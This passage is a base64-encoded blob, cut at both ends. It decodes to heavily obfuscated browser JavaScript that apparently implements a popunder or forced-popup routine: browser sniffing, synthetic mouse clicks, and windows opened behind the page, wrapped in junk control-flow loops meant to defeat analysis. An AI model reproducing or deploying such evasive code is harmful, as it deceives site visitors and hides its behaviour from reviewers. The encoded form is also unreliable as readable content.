0XVtiY10obmV3IFVyKHc1LnU0KGVyLEdyLEdyLGV0LHNjLHQsR3IsR3IsdHQsdWMsR3IsR3IsSm8sR3IpLGxzKSk7cmV0dXJuIGU/VmMoZVswXVtDcl0oR3IrZXQrR3IpWzFdKTptdTt9LGE6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO3M9aXx8R3I7cyYmKHR5cGVvZiBzPT09V3Q/KG89bmV3IEpjKCkpW2xpK0dyK0hdKG9bYWErR3IrSF0oKSsxZTMqcyk6bz1zLHM9R3IrZXIrZmkrZXQrR3Irb1tYcytHcitWcitHcit4YytHcitXK0dyK2hdKCkpO3JpW050XT10KyhHcitldCtHcikrJGMoR3IrZSkrcysocj9HcitlcitkcytldCtHcityOkdyKSsoR3IrZXIrQXQrZXQrR3IpKyhufHxHcitQZStHcik7fX07WmM9e3A6ZnVuY3Rpb24odCl7dmFyIGUsaTtpPXt9O2ZvcihlPTA7ZTx0W3BpXTtlKyspe2lbdFtlXVswXV09dFtlXVsxXTt9cmV0dXJuIGk7fSxXOmZ1bmN0aW9uKHQsZSxpKXt2YXIgbjt0cnl7cmV0dXJuIG49dFthYStHcitHaV0oZSksdHlwZW9mIGkhPT1UYz95dTohIW5ldyBVcihGbitpK01zLGxzKVtqY10obik7fWNhdGNoKHQpe3JldHVybiB5dTt9fSxBOmZ1bmN0aW9uKCl7dHJ5e3JldHVybiB0eXBlb2YgeS5qUXVlcnkuZm4ub249PT1aczt9Y2F0Y2godCl7cmV0dXJuIHl1O319LEc6ZnVuY3Rpb24odCl7cmV0dXJuKHQ/bmV3IEpjKHQpOm5ldyBKYygpKVthYStHcitIXSgpO30sTTpmdW5jdGlvbih0KXt2YXIgbTAsQTAsSTAsZSxsNyxjNyxWNzttMD0tMTc4MjYxMjU4MTtBMD0tMTYzMzI0MDE2NDtJMD0yO2Zvcih2YXIgcjA9MTt3NS5MMShyMC50b1N0cmluZygpLHIwLnRvU3RyaW5nKCkubGVuZ3RoLDM0ODU4KSE9PW0wO3IwKyspe0kwKz0yO31pZih3NS5MMShJMC50b1N0cmluZygpLEkwLnRvU3RyaW5nKCkubGVuZ3RoLDg0OTA2KSE9PUEwKXt9dHJ5e2w3PS0xMjU4NTI0ODY5O2M3PTc3MTI1MDQ2ODtWNz0yO2Zvcih2YXIgeTc9MTt3NS5kMSh5Ny50b1N0cmluZygpLHk3LnRvU3RyaW5nKCkubGVuZ3RoLDEwMjkyKSE9PWw3O3k3KyspeyhlPXRbSmFdW1FhXShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7VjcrPTI7fWlmKHc1LmQxKFY3LnRvU3RyaW5nKCksVjcudG9TdHJpbmcoKS5sZW5ndGgsMjYwMTcpIT09YzcpeyhlPXRbSmFdW1FhXSgoVWEtVnQpL2NpKSlbYm9dKCk7ZVtJb10oKTt9fWNhdGNoKHQpe30oZT1BdShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7fSxUOmZ1bmN0aW9uKHQpe3QmJihUdVtFaV09dCk7fSxxOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZSxpPVt5cixUbixFYSxCZSxqcyxabixqdCxrYyx3ZV0sbj0wO248aVtwaV07bisrKWlmKGU9aVtuXVtqY10odnUpKXtyZXR1cm4gdD9VYyhlWzFdLDEwKTplWzFdW1pdKFFzLEdyK1R0K0dyKTt9cmV0dXJuIG11O30sTDpmdW5jdGlvbih0LGUpe3c1Llk0KDcpO3JldHVybiB3NS51NChZZSxlcixHcix0LGllLHlzLEdyLGUsR3IsVmUsVnQsR3IpO30sXzpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUTAsZTAsajA7UTA9LTE2NDA5MDY2NDA7ZTA9MzYxNTQ4MTI4O2owPTI7Zm9yKHZhciB0MD0xO3c1LmQxKHQwLnRvU3RyaW5nKCksdDAudG9TdHJpbmcoKS5sZW5ndGgsMzk3NjcpIT09UTA7dDArKyl7aT15O3c1Llk0KDQpO249dFtDcl0odzUudTQoR3IsVHQsR3IpKTtmb3IoZT0wO2U8bltwaV07ZSsrKXtpPWlbbltlXV07fXJldHVybiBpO2owKz0yO31pZih3NS5MMShqMC50b1N0cmluZygpLGowLnRvU3RyaW5nKCkubGVuZ3RoLDQ3NjE4KSE9PWUwKXtpPXk7dzUuWTQoNik7bj10W0NyXSh3NS51NChUdCxHcixHcikpO2ZvcihlPTQ7ZTw9bltwaV07ZS0tKXtpPWlbbltlXV07fXJldHVybiBpO319LFM6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbyxzMCxEMCxXMCxVMCx4MCx6MDtvPXkualF1ZXJ5fHxudWxsO2lmKHQmJnRbQW5dKXtyZXR1cm4gZ3U7fWlmKCFvKXtyZXR1cm4geXU7fXRyeXtzMD0tMTYxNTA0NTA7RDA9LTE5OTUwMzAzNTQ7VzA9Mjtmb3IodmFyIGMwPTE7dzUuZDEoYzAudG9TdHJpbmcoKSxjMC50b1N0cmluZygpLmxlbmd0aCw5Nzc5KSE9PXMwO2MwKyspe2lmKChlPShvKHQpW2llXShHYSkmJm8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9VzArPTI7fWlmKHc1LkwxKFcwLnRvU3RyaW5nKCksVzAudG9TdHJpbmcoKS5sZW5ndGgsMjI1MTYpIT09RDApe2lmKChlPShvKHQpW2llXShHYSl8fG8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9fX1jYXRjaCh0KXt9dHJ5e1UwPS0xMjgxMDM4MTgyO3gwPS01MjI2MTY2MzI7ejA9Mjtmb3IodmFyIGkwPTE7dzUuTDEoaTAudG9TdHJpbmcoKSxpMC50b1N0cmluZygpLmxlbmd0aCwzMjg1OSkhPT1VMDtpMCsrKXtmb3IoZT1vKHJpW1FyXSlbaWVdKEdhKVtnc10saT00O2k+ZVtwaV07aS0tKWZvcihyPW8oZVtpXVtvZV0pLG49NztuPj1yW3BpXTtuLS0paWYocltuXT09dCl7cmV0dXJuIGd1O316MCs9Mjt9aWYodzUuTDEoejAudG9TdHJpbmcoKSx6MC50b1N0cmluZygpLmxlbmd0aCw4ODE3MikhPT14MCl7Zm9yKGU9byhyaVtRcl0pW2llXShHYSlbZ3NdLGk9NDtpPmVbcGldO2ktLSlmb3Iocj1vKGVbaV1bb2VdKSxuPTc7bj49cltwaV07bi0tKWlmKHJbbl09PXQpe3JldHVybiBndTt9fWZvcihlPW8ocmlbUXJdKVtpZV0oR2EpW2dzXSxpPTA7aTxlW3BpXTtpKyspZm9yKHI9byhlW2ldW29lXSksbj0wO248cltwaV07bisrKWlmKHJbbl09PT10KXtyZXR1cm4gZ3U7fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sQzpmdW5jdGlvbih0LGUsaSl7dmFyIG4scixvO289WmMuTyhvNSk7cmV0dXJuIG49b1t0bytHcit5YV1bbXJdW1VzK0dyK0NuXShkZSksbltPXT1yYStQZStDdCxuW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoSmErVHQrX3QrWWUrR3IrZXQrR3IrWWUrSmErVHQrcCtZZStHcitldCtHcitZZStKYStUdCt1cytHcitDbitZZStHcitldCtHcitZZStkK2VyK0dyKSsoSmErVHQrJG4rWWUrR3IrZXQrR3IrWWUrWnMrUit6K1ZlK0dyK1llK3NvK1ZlK0dyK1llK0NlK1ArR3IrWWUrR3Ird24rR3IpKyh1YStZZStCcytHcitYbytZZStHcitldCtHcitZZStKYStUdCtRYStSK3orVmUrR3IrWWUrc28rVmUrR3IrWWUrQ2UrUCtHcitlcitHcikrKFdyK1llK0dyK3duK0JzK0dyK1hvK1R0K1dvK1llK0dyK2V0K0dyK1llK2QrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSsoTnIrWWUrQnMrR3IrWG8rZXIrR3IpKyhHcitEcitHcitlcitHciksb1t0bytHcit5YV1bbXJdW1FyXVtJdCtHcitXZV0obikscj1vW3RvK0dyK3lhXS5ta3AodCxlLGkpLFpjLlAobykscjt9LEI6ZnVuY3Rpb24odCxlLG4pe3ZhciByLG8scztyPTA7bz1ufHwxMDtzPXQ7dHJ5e2Zvcig7cyYmcisrPG87KXtpZih0eXBlb2YgZT09PVRjJiYoc1tTYytHcittY109PT1lfHxaYy5JKHMsZSkpfHx0eXBlb2YgZT09PWFyJiZzPT09ZSl7cmV0dXJuIHM7fXc1Llk0KDQpO3M9c1t3NS51NChfdCxHcixpKV07fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sRjpmdW5jdGlvbih0KXt2YXIgZTtlPVJ0W1RlXTtyZXR1cm4gdHlwZW9mIHQhPT1nZSYmKGU9KGN0W2pjXSh0KXx8W0dyLEdyXSlbMV0pLGVbWl0oUGMsR3IpO30seDpmdW5jdGlvbih0KXtyZXR1cm4geWlbWHRdW1hzK0dyK2hdW0NpXSh0KT09PUdyK0pvK2FyK1llK2JuK3R0K0dyO30sazpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUjAsUDAsSjA7aT1bXTtuPVpjLnYoKTt0cnl7UjA9LTE2Mjc2MTY5Mzc7UDA9LTIwMDI5NzgxNzY7SjA9Mjtmb3IodmFyIEIwPTE7dzUuTDEoQjAudG9TdHJpbmcoKSxCMC50b1N0cmluZygpLmxlbmd0aCw3NjkxMCkhPT1SMDtCMCsrKXtmb3IoZSBpbiBuKXt+dFtlXSE9Z2V8fGlbTXJdKGUvKChHci1ldCklR3IpLXRbZV0pO31KMCs9Mjt9aWYodzUuTDEoSjAudG9TdHJpbmcoKSxKMC50b1N0cmluZygpLmxlbmd0aCw4NjExMCkhPT1QMCl7Zm9yKGUgaW4gbil7fnRbZV0hPWdlfHxpW01yXShlLygoR3ItZXQpJUdyKS10W2VdKTt9fWZvcihlIGluIG4pe3R5cGVvZiB0W2VdIT09Z2UmJmlbTXJdKGUrKEdyK2V0K0dyKSt0W2VdKTt9fWNhdGNoKHQpe0tjLmUodCk7fXc1Llk0KDQpO3JldHVybiBpW05pXSh3NS5jNChHcixWZSxHcikpO30sUjpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy5CKHQsT24pO30seTpmdW5jdGlvbigpe2Zvcih2YXIgdCxlPXt9LGk9MDtpPGFyZ3VtZW50c1twaV07aSsrKWZvcih0IGluIGFyZ3VtZW50c1tpXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0oYXJndW1lbnRzW2ldLHQpJiYoZVt0XT1hcmd1bWVudHNbaV1bdF0pO31yZXR1cm4gZTt9LFY6ZnVuY3Rpb24odCxlKXt2YXIgSjEsWDEsQjE7SjE9NDUyODczNzI5O1gxPTEyNzMxMDM4NTg7QjE9Mjtmb3IodmFyIE4xPTE7dzUuZDEoTjEudG9TdHJpbmcoKSxOMS50b1N0cmluZygpLmxlbmd0aCw1NTI1MSkhPT1KMTtOMSsrKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpKihlLXQpKSt0O0IxKz0yO31pZih3NS5kMShCMS50b1N0cmluZygpLEIxLnRvU3RyaW5nKCkubGVuZ3RoLDI4MzUxKSE9PVgxKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpJShlL3QpKSV0O319LFE6ZnVuY3Rpb24odCl7dmFyIGUsaSxuO3c1Llk0KDgpO2U9dzUuYzQodHlwZW9mIHQsYXIpO2k9dDt3NS5vNCg0KTtuPXJpW1VzK0dyK0NhXSh3NS51NChTbixHcix1bykpO25bTHMrR3IrU24rR3IrQ2FdKGdzLGd1LGd1LHksMCwwLDAsMCwwLGd1LHl1LHl1LGd1LDAsbXUpO2V8fChpPVpjLnooVSx7aHJlZjp0fHxpZStWdCtyYStQZStqbytWZStHcit1aStkZSt1citKYStUdCtJbytSK0dyK1ArR3IrZXIrR3IrdWkrR3IrUGUrZGUrdXIrR3J9KSxyaVtRcl1bSXQrR3IrV2VdKGkpKTtpW2duK0dyK0NhXShuKTtlfHxaYy5QKGkpO30sejpmdW5jdGlvbih0LGUsaSl7dmFyIG4scjtyPXJpW1VzK0dyK0NuXSh0KTtmb3IobiBpbiBlKXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShlLG4pJiZyW2xpK0dyK0dpXShuLGVbbl0pO31yZXR1cm4gaSYmKHJbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPWkpLHI7fSxZOmZ1bmN0aW9uKCl7dHJ5e3c1Lm80KDQpO3JldHVybiEhT3VbdzUuYzQoZW4sUGUsTWMpXVt3NS51NCgkaSxHcixXcyldO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sbDpmdW5jdGlvbih0KXt2YXIgZSxpLFk3LGY3LHM3O2U9WmMuXyh0KTt3NS5ZNCg0KTtpPXRbWl0oQWEsdzUudTQoR3Isem8scSkpO3RyeXtZNz0tMTYzMTA2MDI3MDtmNz0xOTgxNTM2MDYxO3M3PTI7Zm9yKHZhciBXNz0xO3c1LkwxKFc3LnRvU3RyaW5nKCksVzcudG9TdHJpbmcoKS5sZW5ndGgsMTYwMikhPT1ZNztXNysrKXtyZXR1cm4rbmV3IFVyKChacy9ZZS1HcikvIGkveHIsUnMpW2lyXShlW1hzJUdyL2hdKCkpO3M3Kz0yO31pZih3NS5MMShzNy50b1N0cmluZygpLHM3LnRvU3RyaW5nKCkubGVuZ3RoLDExNjM3KSE9PWY3KXtyZXR1cm4hbmV3IFVyKFpzK1llK0dyK2kreHIsUnMpW2lyXShlW1hzK0dyK2hdKCkpO319Y2F0Y2godCl7cmV0dXJuIHRbWHMrR3IraF0oKVtMK0dyK1dhXShrbytZZStycytZZStVK1llK1pzKT4tMT9ndTpYYy5kP2d1Onl1O319LHY6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbzt3NS5vNCg0KTtlPXlbdzUuYzQoUGEsR3IsZyldO3c1Llk0KDQpO2k9eVt3NS5jNChQYSxHcix3YyldO249eVtPaStHcitVZV18fHlbT2krR3IrV25dfHwwO3I9eVtPaStHcit4b118fHlbT2krR3IrQ2NdfHwwO289e307cmV0dXJuIG9bb2NdPWUsb1tLYV09aSxvW0hpXT1uLG9bcF09cixvW29yXT0wLG9bRWldPTEsb1tTcl09MSxvW09yXT0xLG8ucmVzaXphYmxlPTEsb1tNZV09MSxYYy5iJiYob1tLYV0rPVhjLm0/NDY6NTIpLFhjLmcmJihvW29jXS09NSxvW0thXS09NCksdHlwZW9mIHQ9PT1hciYmKG89WmMueShvLHQpKSxvO30sTzpmdW5jdGlvbih0KXt2YXIgZTtlPXJpW1VzK0dyK0NuXShjbik7cmV0dXJuIGVbeGVdW3h0XT1YaSx0JiZyaVtRcl1bSXQrR3IrV2VdKGUpLGU7fSxEOmZ1bmN0aW9uKHQpe3JldHVybiB0W1NjK0dyK21jXT09PUZjK0dyK1ZyK0dyK3hjK0dyK3hjK0dyK2ZjK0dyK2d0fHx0W1NjK0dyK21jXT09PXZhK0dyK2d0K0dyK210K0dyK1ZyK0dyK3hjJiZVbltpcl0odFthYStHcitHaV0oTykpfHx0aGlzLkIodCxGYytHcitWcitHcit4YytHcit4YytHcitmYytHcitndCkhPT15dTt9LFA6ZnVuY3Rpb24odCl7dCYmdFtfdCtHcitpXSYmdFtfdCtHcitpXVt4bitHcitXZV0odCk7fSxJOmZ1bmN0aW9uKHQsZSl7dmFyIG4scixvO2lmKHR5cGVvZiBlIT09VGMpe3JldHVybiB5dTt9aWYodHlwZW9mIHJpW2VlK0dyK3Z0K0dyK21dPT09WnMpdHJ5e3I9dFtfdCtHcitpXVtlZStHcit2dCtHcittXShlKXx8eS5qUXVlcnkoZSk7fWNhdGNoKHQpe31lbHNlIGlmKFpjLkEoKSl0cnl7cj15LmpRdWVyeShlKTt9Y2F0Y2godCl7fWlmKHIpZm9yKG89MDtvPHJbcGldO28rKylpZihyW29dPT09dCl7cmV0dXJuIGd1O31zd2l0Y2goZVswXSl7Y2FzZSBHcitUdCtHcjpuPVtsbyxlW2ZzXSgxKV07YnJlYWs7Y2FzZSBHcitzZStHcjpuPVtWYSxlW2ZzXSgxKV07fXJldHVybiBuP3RoaXMuVyh0LG5bMF0sblsxXSk6eXU7fSxmOmZ1bmN0aW9uKHQsZSl7dHJ5e3JldHVybiEoIXRba2ldW2VdfHwhdFtraV1bZV1bWW5dKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LE46ZnVuY3Rpb24odCl7dmFyIGU7ZT10aGlzLlIodCk7cmV0dXJuIGUmJmVbdW5dJiYheHNbaXJdKGVbdW5dKT9lW3VuXTp5dTt9LEo6ZnVuY3Rpb24odCxlLGksbil7Zm9yKHZhciByLG8scyxhPXRbWHMrR3IraF0oKVtDcl0obnx8R3IrVHQrR3IpLGM9ZVtYcytHcitoXSgpW0NyXShufHxHcitUdCtHciksdT0wLGY9ZHJbQm9dKGFbcGldLGNbcGldKTt1PGYmJihyPVVjKGFbdV18fDAsMTApLG89VWMoY1t1XXx8MCwxMCkscWMocikmJihyPTApLHFjKG8pJiYobz0wKSxzPXI+bz8xOi0xLHI9PT1vKTt1Kyspe3M9MDt9c3dpdGNoKGkpe2Nhc2UgR3IrdXIrR3I6dzUubzQoOCk7cmV0dXJuIHc1LnU0KDEscyk7Y2FzZSBHcit1citHcitldCtHcjp3NS5ZNCg5KTtyZXR1cm4gdzUuYzQocywxKTtjYXNlIEdyK3VpK0dyOnc1Lm80KDEwKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK3VpK0dyK2V0K0dyOnc1Llk0KDExKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK2V0K0dyK2V0K0dyOmNhc2UgR3IrZXQrR3IrZXQrR3IrZXQrR3I6ZGVmYXVsdDp3NS5ZNCg4KTtyZXR1cm4gdzUudTQoMCxzKTt9fSwkOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZT1wZVtDcl0oR3IpLGk9ZVtwaV0sbj0wLHI9R3I7bjx0O24rKyl7cis9ZVtkcltBY10oZHJbTW5dKCkqaSldO31yZXR1cm4gcjt9LGg6ZnVuY3Rpb24odCxlKXt0cnl7cmV0dXJuIHRbYWErR3IrR2ldKGUpO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sSDpmdW5jdGlvbih0LGUsaSl7dmFyIG47dzUubzQoMik7bj13NS5jNChoaSx0KTtyZXR1cm4gdHlwZW9mIHlbbl0hPT1nZSYmcm8oeVtuXSkseVtuXT1pbyhlLGkpO30sdzpmdW5jdGlvbigpe3JldHVybiBQdTt9LFU6ZnVuY3Rpb24odCl7cmV0dXJuIHRbU2MrR3IrbWNdPT09dmErR3IrZ3QrR3IrbXQrR3IrVnIrR3IreGMmJm5lW2lyXSh0W2FhK0dyK0dpXShPKSl8fHRbU2MrR3IrbWNdPT09cGErR3IrT24rR3IrRmMrR3IrUHMrR3IrcGE7fX07aXU9e3R0OmZ1bmN0aW9uKHQsZSl7dmFyIGkscTUsbTUsQTU7dHJ5e3E1PS0xNDE1MjczNDIzO201PS0zMzc1MDc5MjY7QTU9Mjtmb3IodmFyIEs1PTE7dzUuZDEoSzUudG9TdHJpbmcoKSxLNS50b1N0cmluZygpLmxlbmd0aCwzNzU1NSkhPT1xNTtLNSsrKXtyZXR1cm4gZXx8KGk9cmlbKHdyLUdyKSVqbipHcipMY10odFtIYyVHci9VZV0sdFtIYy9Hci14b10pKT9pOnRbVGldJiZ0W1hzLUdyLUNuXSYmdFsoWHItR3IpJUNuXTtBNSs9Mjt9aWYodzUuTDEoQTUudG9TdHJpbmcoKSxBNS50b1N0cmluZygpLmxlbmd0aCw3MjUzNikhPT1tNSl7cmV0dXJuIGUmJihpPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXSx0W0hjK0dyK3hvXSkpP2k6dFtUaV18fHRbWHMrR3IrQ25dfHx0W1hyK0dyK0NuXTt9fWNhdGNoKHQpe3JldHVybiB5dTt9fSxYOmZ1bmN0aW9uKHQsZSxpLG4pe3JldHVybiB0eXBlb2YgdFtIbitHcitDYStHcitFbl09PT1acz90W0huK0dyK0NhK0dyK0VuXShlLGksbnx8e30pOnRbRmUrR3IrQ2FdKE5vK2UsaSk7fSxLOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByO3I9ZnVuY3Rpb24oKXtpdS5aKHQsZSxyLG4pO2lbQ2ldKCk7fTtpdS5YKHQsZSxyLG4pO30sWjpmdW5jdGlvbih0LGUsaSxuKXtyZXR1cm4gdHlwZW9mIHRbeG4rR3IrQ2ErR3IrRW5dPT09WnM/dFt4bitHcitDYStHcitFbl0oZSxpLG58fHt9KTp0W0tpK0dyK0NhXShObytlLGkpO319OyEoWGM9e2l0OmZhW2lyXSh2dSksbnQ6c3RbaXJdKHZ1KSxtOmxlW2lyXSh2dSksZXQ6YWNbaXJdKHZ1KSxydDpTb1tpcl0odnUpLG90OnNpW2lyXSh2dSl8fEpyW2lyXSh2dSl8fHVlW2lyXSh2dVtmc10oMCw0KSksc3Q6dm9baXJdKHZ1KSxnOkFyW2lyXSh2dSkmJiFfYVtpcl0odnUpLGI6bHJbaXJdKHZ1KSYmIW1hW2lyXSh2dSksYXQ6bWVbaXJdKHZ1KSYmIWdyW2lyXSh2dSksY3Q6eFtpcl0odnUpLGQ6Rltpcl0odnUpLHV0OnlvW2lyXSh2dSksX3Q6bXUscHQ6WmMucShndSl8fG11LGx0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuX3QhPT1tdT90aGlzLl90OnRoaXMuX3Q9UWMuZHQoKSE9PXl1O30sSjpmdW5jdGlvbih0LGUpe3JldHVybiBaYy5KKFhjLmZ0LGUsdCk7fSxodDptb1tpcl0odnUpJiYhenJbaXJdKHZ1KSxmdDpaYy5xKHl1KXx8bXV9KS5ldHx8WGMuaHR8fFhjLmR8fFhjLmJ8fChYYy51dD1vNSk7KFljPWZ1bmN0aW9uKHQsZSxpKXt2YXIgbjtuPWl8fHt9O25bel09ZTt0aGlzLnZ0KG4pO3RoaXMubXQuYnR8fCh0aGlzLm10LmJ0PXJ1K3QpO3RoaXMuZ3QoKTt9KVtYdF09e2t0OntUdDpndSxDdDptdSxqdDp5dSxFdDpHcitQZStHcixGdDprdSxMdDpndSxBdDp5dSxPdDpndSx4dDptdSxQdDpudWxsLGJ0Om11LHd0Om11LFN0Omt1fSxtdDp7fSx5dDpudWxsLHp0OlpjLnYoKSxCdDpaYy5wKFtbT3IsMF1dKSxJdDpaYy5wKFtbTWUsMV1dKSxNdDpaYy5wKFtbU3IsMV1dKSxXdDpaYy5wKFtbRWksMF0sW1NyLDBdXSksRHQ6WmMucChbW01lLDBdXSksVXQ6WmMucChbW1p0LDBdXSksUnQ6WmMucChbW0VpLDBdXSksc2V0T3B0aW9uczpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy52dCh0KTt9LGd0OmZ1bmN0aW9uKCl7dmFyIHQsZSxpLG47dD1mdW5jdGlvbih0LGUpe3ZhciBpLG47bj17fTtuW3B1XT1beXUsZ3VdO25bX3VdPVt5dSx5dV07bltsdV09W2d1LGd1XTtuW2R1XT1bZ3UseXVdO2ZvcihpIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixpKSYmbltpXVswXT09PXQmJm5baV1bMV09PT1lKXtyZXR1cm4gaTt9cmV0dXJuIF91O307ZT1YYy5sdCgpO2k9dChHYy5tdC4kdC5uZXdUYWIsR2MubXQuJHQudW5kZXIpO249dCh0aGlzLm10LkF0LHRoaXMubXQuVHQpO2V8fG49PT1wdSYmKG49aSk9PT1wdSYmKG49bHUpO1hjLm90JiYobj09PV91JiYobj1kdSksbj09PXB1JiYobj1sdSkpO3RoaXMueXQ9bjt9LEh0OmZ1bmN0aW9uKCl7dmFyIGswLG4wLEYwO2lmKHR5cGVvZiB0aGlzLm10Lnh0PT09WnMpdHJ5e3JldHVybiB0aGlzLm10Lnh0W0NpXSh0aGlzLHRoaXMubXQpW1hzK0dyK2hdKCk7fWNhdGNoKHQpe3JldHVybiBLYy5lKHQpLHl1O31rMD0tMTAwMjA0NzAxMztuMD0tMTY1MTM4NjMwNztGMD0yO2Zvcih2YXIgTTA9MTt3NS5MMShNMC50b1N0cmluZygpLE0wLnRvU3RyaW5nKCkubGVuZ3RoLDY4NDExKSE9PWswO00wKyspe3JldHVybiB0aGlzLm10Lnh0O0YwKz0yO31pZih3NS5kMShGMC50b1N0cmluZygpLEYwLnRvU3RyaW5nKCkubGVuZ3RoLDkwOTM5KSE9PW4wKXtyZXR1cm4gdGhpcy5tdC54dDt9fSxMdDpmdW5jdGlvbigpe3ZhciB0LGUsRzcsQzcsazcsVjAsdTAseTA7dD10aGlzLm10O2U9dC5PdCE9PU5zJiZ0Lk90IT09TmV8fHQuT3Q9PT1OcyYmWGMub3R8fHQuT3Q9PT1OZSYmIVhjLm90O3RyeXtHNz0tMTkzODMwODU3MjtDNz0tMTE3NzY0NDk2NDtrNz0yO2Zvcih2YXIgRjc9MTt3NS5kMShGNy50b1N0cmluZygpLEY3LnRvU3RyaW5nKCkubGVuZ3RoLDg5NDI0KSE9PUc3O0Y3Kyspe3R5cGVvZiB0Lkx0PT09WnM/ZT1lJiZ0Lkx0W0NpXSh0aGlzLGUsdGhpcy5OdCgpKSE9PXl1OnR5cGVvZiB0Lkx0PT09YW4mJihlPWUmJnQuTHQpO2s3Kz0yO31pZih3NS5MMShrNy50b1N0cmluZygpLGs3LnRvU3RyaW5nKCkubGVuZ3RoLDUzNDE4KSE9PUM3KXstdC5MdCE9PVpzP2U9ZXx8dC5MdFtDaV0odGhpcyxlLHRoaXMuTnQoKSk9PT15dTohdC5MdD09YW58fChlPWV8fHQuTHQpO319Y2F0Y2godCl7S2MuZSh0KTt9VjA9Njg3MDAyMDA4O3UwPS0yOTc1OTkyODc7eTA9Mjtmb3IodmFyIHYwPTE7dzUuTDEodjAudG9TdHJpbmcoKSx2MC50b1N0cmluZygpLmxlbmd0aCw2NDU0MSkhPT1WMDt2MCsrKXtyZXR1cm4gR2MuSnQoKT9lfHwtdGhpcy5WdDplfHwrdHUuYyh0LmJ0KTt5MCs9Mjt9aWYodzUuTDEoeTAudG9TdHJpbmcoKSx5MC50b1N0cmluZygpLmxlbmd0aCwyOTMyNSkhPT11MCl7cmV0dXJuIEdjLkp0KCk/ZXx8LXRoaXMuVnQ6ZXx8K3R1LmModC5idCk7fXJldHVybiBHYy5KdCgpP2UmJiF0aGlzLlZ0OmUmJiF0dS5jKHQuYnQpO30sdnQ6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHI7dGhpcy5tdD1aYy55KHRoaXMuenQsdGhpcy5rdCx0aGlzLm10LHR8fHt9KTtmb3IoaSBpbiB0aGlzLm10KWlmKHlpW1h0XVtCYStHcitsdCtHcitvb11bQ2ldKHRoaXMubXQsaSkpc3dpdGNoKG49dGhpcy5tdFtpXSxpKXtjYXNlIHNvOnRoaXMubXQud3Q9bjticmVhaztjYXNlIHo6dGhpcy5tdC54dD1uO2JyZWFrO2Nhc2UgTGU6dGhpcy5tdC5PdD0obitHcilbWHMrR3IrdHMrR3IrbmNdKCk7YnJlYWs7Y2FzZSBOdCtHcittYzp0aGlzLm10LmJ0PW47YnJlYWs7Y2FzZSBOdCtHcitUOnRoaXMubXQuQ3Q9bjticmVhaztjYXNlIE50K0dyK2VhOnRoaXMubXQuRXQ9bjticmVhaztjYXNlIE50K0dyKyRzOnRoaXMubXQuUHQ9bjticmVhaztjYXNlIEVlOnRoaXMubXQuVHQ9bjticmVhaztjYXNlIEErR3IrTG86dGhpcy5tdC5BdD1uO2JyZWFrO2Nhc2UgcHQrR3IramU6dGhpcy5tdC5GdD1uO2JyZWFrO2Nhc2UgamErR3IramU6dGhpcy5tdC5TdD1uO2JyZWFrO2Nhc2UgSWMrR3IrY3I6dGhpcy5tdC5qdD1uO2JyZWFrO2Nhc2UgdGUrR3Irc3M6dGhpcy5tdC5MdD1uO31pZighWGMub3QmJiF0aGlzLm10LkF0KWZvcihyPVtbWGMuZyYmMTE9PT1YYy5wdCx0aGlzLlV0XSxbWGMuYiYmWGMucHQ8NDEsdGhpcy5JdF0sW1hjLmIsdGhpcy5CdF0sW1hjLmQmJlhjLnB0PDQ3LHRoaXMuTXRdLFtYYy51dCx0aGlzLkR0XSxbWGMuY3QsdGhpcy5SdF0sW1hjLmImJlhjLnB0Pj01OSx0aGlzLld0XSxbWGMudXQmJlhjLnB0Pj00Nix0aGlzLld0XV0sZT0wO2U8cltwaV07ZSsrKWlmKHJbZV1bMF0pZm9yKGkgaW4gcltlXVsxXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0ocltlXVsxXSxpKSYmKHRoaXMubXRbaV09cltlXVsxXVtpXSk7fX0sZ2V0T3B0aW9uczpmdW5jdGlvbigpe3JldHVybiB0aGlzLk50KCk7fSxOdDpmdW5jdGlvbigpe3ZhciB0LGU7ZT17fTtmb3IodCBpbiB0aGlzLm10KXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXSh0aGlzLm10LHQpJiZ0W3BpXT49MyYmKGVbdF09dGhpcy5tdFt0XSk7fXJldHVybiBlO30scXQ6ZnVuY3Rpb24oKXtHYy5KdCgpP3RoaXMuVnQ9Z3U6dHUuYSh0aGlzLm10LmJ0LDEsdGhpcy5tdC5DdCx0aGlzLm10LkV0LHRoaXMubXQuUHQpO319OyhudT1mdW5jdGlvbih0KXt2YXIgZTtlPXRoaXM7dGhpcy5RdD10O3RoaXMuR3Q9dGhpcy5ZdCgpO3RoaXMuS3Q9dGhpcy5adCgpO2l1LlgodGhpcy5HdCxncyxmdW5jdGlvbigpe0dzKGUuS3QpO1pjLlAoZS5HdCk7fSk7fSlbW